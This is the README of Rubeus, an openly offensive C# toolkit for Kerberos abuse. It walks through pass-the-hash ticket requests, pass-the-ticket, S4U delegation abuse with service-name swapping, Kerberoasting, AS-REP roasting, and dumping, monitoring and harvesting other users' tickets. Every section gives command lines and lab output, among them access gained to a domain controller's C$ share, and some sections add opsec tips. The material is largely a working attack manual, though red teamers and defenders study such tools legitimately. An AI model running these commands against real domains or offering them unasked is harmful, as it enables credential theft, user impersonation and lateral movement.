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initial release
2018-09-24 07:14:15 +00:00
# Rubeus
----
Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 licence) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!
[@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base.
Rubeus is licensed under the BSD 3-Clause license.
## Usage
Rubeus usage:
Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]
Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
Rubeus.exe purge [/luid:LOGINID]
Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show]
Perform Kerberoasting:
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
Perform Kerberoasting with alternate credentials:
Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."]
Perform AS-REP "roasting" for users without preauth:
Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions:
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]
Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:
Rubeus.exe harvest [/interval:MINUTES]
NOTE: Base64 ticket blobs can be decoded with :
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
## asktgt
The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (/rc4 or /aes256). If no /domain is specified, the computer's current domain is extracted, and if no /dc is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:X flag will apply the ticket to the specified logon session ID (elevation needed).
Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the /ptt option. A workaround is to use the **/createnetonly:X** parameter, or request the ticket and apply it to another logon session with **ptt /luid:X**.
c:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4988
[+] LUID : 6241024
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Target LUID : 6241024
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 232 bytes
[*] Received 1405 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFFjCCBRKgAwIB...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x5f3b00
[+] Ticket successfully imported!
**Note that the /luid and /createnetonly parameters require elevation!**
## renew
The **renew** action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session.
Note that TGTs MUST be renewed before their EndTime, within the RenewTill window.
c:\Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1500 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
...(snip)...
The **/autorenew** flag will take an existing /ticket .kirbi file, sleep until endTime-30 minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable renew-till renewal window passes.
C:\Temp\tickets>Rubeus.exe renew /ticket:doIF...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Auto-Renew TGT
[*] User : dfm.a@TESTLAB.LOCAL
[*] endtime : 9/20/2018 8:06:17 PM
[*] renew-till : 9/27/2018 3:06:17 PM
[*] Sleeping for 20 minutes (endTime-30) before the next renewal
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFujCCBba...(snip)...
[*] User : dfm.a@TESTLAB.LOCAL
[*] endtime : 9/20/2018 8:26:00 PM
[*] renew-till : 9/27/2018 3:06:17 PM
...
## s4u
The **s4u** action is nearly identical to Kekeo's **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field), this action can be used to abuse access to the target SPN/server.
First, a valid TGT/KRB-CRED file is needed for the account with constrained delegation configured. This can be achieved with the **asktgt** action, given the NTLM/RC4 or the aes256_cts_hmac_sha1 hash of the account.
The ticket is then supplied to the **s4u** action via /ticket (again, either as a base64 blob or a ticket file on disk), along with a required /impersonateuser:X to impersonate to the /msdsspn:SERVICE/SERVER SPN that is configured in the account's msds-allowedToDelegateTo field. The /dc and /ptt parameters function the same as in previous actions.
The /altservice parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file.
Alternatively, instead of providing a /ticket, a /user:X and either a /rc4:X or /aes256:X hash specification (/domain:X optional) can be used similarly to the **asktgt** action to first request a TGT for /user with constrained delegation configured, which is then used for the s4u exchange.
c:\Temp\tickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaE...(snip)...
c:\Temp\tickets>Rubeus.exe s4u /ticket:C:\Temp\Tickets\patsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'ldap/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):
doIGujCCBragAwIBBaEDAgE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
Alternatively using a /user and /rc4 :
C:\Temp\tickets>dir \\primary.testlab.local\C$
The user name or password is incorrect.
C:\Temp\tickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAg...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2618 bytes
[*] Received 1798 bytes
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi):
doIGujCCBragAwIBBaE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Temp\tickets>dir \\primary.testlab.local\C$
Volume in drive \\primary.testlab.local\C$ has no label.
Volume Serial Number is A48B-4D68
Directory of \\primary.testlab.local\C$
03/05/2017 05:36 PM <DIR> inetpub
08/22/2013 08:52 AM <DIR> PerfLogs
04/15/2017 06:25 PM <DIR> profiles
08/28/2018 12:51 PM <DIR> Program Files
08/28/2018 12:51 PM <DIR> Program Files (x86)
08/23/2018 06:47 PM <DIR> Temp
08/23/2018 04:52 PM <DIR> Users
08/23/2018 06:48 PM <DIR> Windows
8 Dir(s) 40,679,706,624 bytes free
## ptt
The **ptt** action will submit a /ticket (TGT or service ticket) for the current logon session through the LsaCallAuthenticationPackage() API with a KERB_SUBMIT_TKT_REQUEST message, or (if elevated) to the logon session specified by /luid:X. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
c:\Rubeus>Rubeus.exe ptt /ticket:doIFmj...(snip)...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Import Ticket
[+] Ticket successfully imported!
**Note that the /luid parameter requires elevation!**
## purge
The **purge** action will purge all Kerberos tickets from the current logon session, or (if elevated) to the logon session specified by /luid:X.
C:\Temp\tickets>Rubeus.exe purge
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Purge Tickets
[+] Tickets successfully purged!
C:\Temp\tickets>Rubeus.exe purge /luid:34008685
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Purge Tickets
[*] Target LUID: 0x206ee6d
[+] Tickets successfully purged!
**Note that the /luid parameter requires elevation!**
## describe
The **describe** action takes a /ticket:X value (TGT or service ticket), parses it, and describes the values of the ticket. Like other /ticket:X parameters, the value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk.
c:\Rubeus>Rubeus.exe describe /ticket:doIFmjCC...(snip)...
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Display Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt
ServiceRealm : TESTLAB.LOCAL
StartTime : 9/17/2018 6:51:00 PM
EndTime : 9/17/2018 11:51:00 PM
RenewTill : 9/24/2018 4:22:59 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 2Bpbt6YnV5PFdY7YTo2hyQ==
## createnetonly
The **createnetonly** action will use the CreateProcessWithLogonW() API to create a new hidden (unless /show is specified) process with a SECURITY_LOGON_TYPE of 9 (NewCredentials), the equivalent of runas /netonly. The process ID and LUID (logon session ID) are returned. This process can then be used to apply specific Kerberos tickets to with the ptt /luid:X parameter, assuming elevation. This prevents the erasure of existing TGTs for the current logon session.
C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe"
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 9060
[+] LUID : 6290874
## kerberoast
The **kerberoast** action replaces the [SharpRoast](https://github.com/GhostPack/SharpRoast) project's functionality. Like SharpRoast, this action uses the [KerberosRequestorSecurityToken.GetRequest Method()](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method that was contributed to PowerView by [@machosec](https://twitter.com/machosec) in order to request the proper service ticket. Unlike SharpRoast, this action now performs proper ASN.1 parsing of the result structures.
With no other arguments, all user accounts with SPNs set in the current domain are kerberoasted. The /spn:X argument roasts just the specified SPN, the /user:X argument roasts just the specified user, and the /ou:X argument roasts just users in the specific OU.
Also, if you wanted to use alternate domain credentials for kerberoasting, that can be specified with /creduserDOMAIN.FQDN\USER /credpassword:PASSWORD.
c:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Kerberoasting
[*] SamAccountName : testuser2
[*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName : service/host
[*] Hash : $krb5tgs$5$*$testlab.local$service/host*$95160F02CA8EB...(snip)...
## asreproast
The **asreproast** action replaces the [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) project which executed similar actions with the (larger sized) [BouncyCastle](https://www.bouncycastle.org/) library. If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting.
The /user:X parameter is required, while the /domain and /dc arguments are optional, pulling system defaults as other actions do. The [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) project has a JohnTheRipper compatible cracking module for this hash type.
c:\Rubeus>Rubeus.exe asreproast /user:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: AS-REP Roasting
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 163 bytes
[*] Received 1537 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
$krb5asrep$dfm.a@testlab.local:F7310EA341128...(snip)...
## dump
The **dump** action will extract current TGTs and service tickets from memory, if in an elevated context. The resulting extracted tickets can be filtered by /service (use /service:krbtgt for TGTs) and/or logon ID (the /luid:X parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the ptt function, or Mimikatz's **kerberos::ptt** functionality.
c:\Temp\tickets>Rubeus.exe dump /service:krbtgt /luid:366300
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Dump Kerberos Ticket Data (All Users)
[*] Target LUID : 0x596f6
[*] Target service : krbtgt
UserName : harmj0y
Domain : TESTLAB
LogonId : 366326
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 9/17/2018 9:05:26 AM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : harmj0y@testlab.local
[*] Enumerated 1 ticket(s):
ServiceName : krbtgt
TargetName : krbtgt
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : AdI7UObh5qHL0Ey+n28oQpLUhfmgbAkpvcWJXPC2qKY=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable
StartTime : 9/17/2018 4:20:25 PM
EndTime : 9/17/2018 9:20:25 PM
RenewUntil : 9/24/2018 2:05:26 AM
TimeSkew : 0
EncodedTicketSize : 1338
Base64EncodedTicket :
doIFNjCCBTKgAwIBBaEDAg...(snip)...
[*] Enumerated 4 total tickets
[*] Extracted 1 total tickets
**Note that this action needs to be run from an elevated context!**
## monitor
The **monitor** action will monitor the event log for 4624 logon events and will extract any new TGT tickets for the new logon IDs (LUIDs). The /interval parameter (in seconds, default of 60) specifies how often to check the event log. A /filteruser:X can be specified, returning only ticket data for said user. This function is especially useful on servers with unconstrained delegation enabled ;)
When the /filteruser (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output.
c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: TGT Monitoring
[*] Monitoring every 60 seconds for 4624 logon events
[*] Target user : dfm.a
[+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCAL\dfm.a' from '192.168.52.100'
[*] Target LUID : 0x991972
[*] Target service : krbtgt
UserName : dfm.a
Domain : TESTLAB
LogonId : 10033522
UserSID : S-1-5-21-883232822-274137685-4173207997-1110
AuthenticationPackage : Kerberos
LogonType : Network
LogonTime : 9/18/2018 2:59:02 AM
LogonServer :
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName :
ServiceName : krbtgt
TargetName :
ClientName : dfm.a
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, renewable, forwarded, forwardable
StartTime : 9/17/2018 7:59:02 PM
EndTime : 9/18/2018 12:58:59 AM
RenewUntil : 9/24/2018 7:58:59 PM
TimeSkew : 0
EncodedTicketSize : 1470
Base64EncodedTicket :
doIFujCCBbagAwIBBaE...(snip)...
[*] Extracted 1 total tickets
**Note that this action needs to be run from an elevated context!**
## harvest
The **harvest** action takes monitor one step further. It monitors the event log for 4624 events every /interval:MINUTES for new logons, extracts any new TGT KRB-CRED files, and keeps a cache of any extracted TGTs. On the /interval, any TGTs that will expire before the next interval are automatically renewed (up until their renewal limit), and the current cache of "usable"/valid TGT KRB-CRED .kirbis are output as base64 blobs.
This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets.
c:\Rubeus>Rubeus.exe harvest /interval:30
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v0.0.1a
[*] Action: TGT Harvesting (w/ auto-renewal)
[*] Monitoring every 30 minutes for 4624 logon events
...(snip)...
[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes
[*] 9/17/2018 6:43:02 AM - Current usable TGTs:
User : dfm.a@TESTLAB.LOCAL
StartTime : 9/17/2018 6:43:02 AM
EndTime : 9/17/2018 11:43:02 AM
RenewTill : 9/24/2018 2:07:48 AM
Flags : name_canonicalize, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFujCCBbagAw...(snip)...
**Note that this action needs to be run from an elevated context!**
## Compile Instructions
We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)
Rubeus has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "release", and build.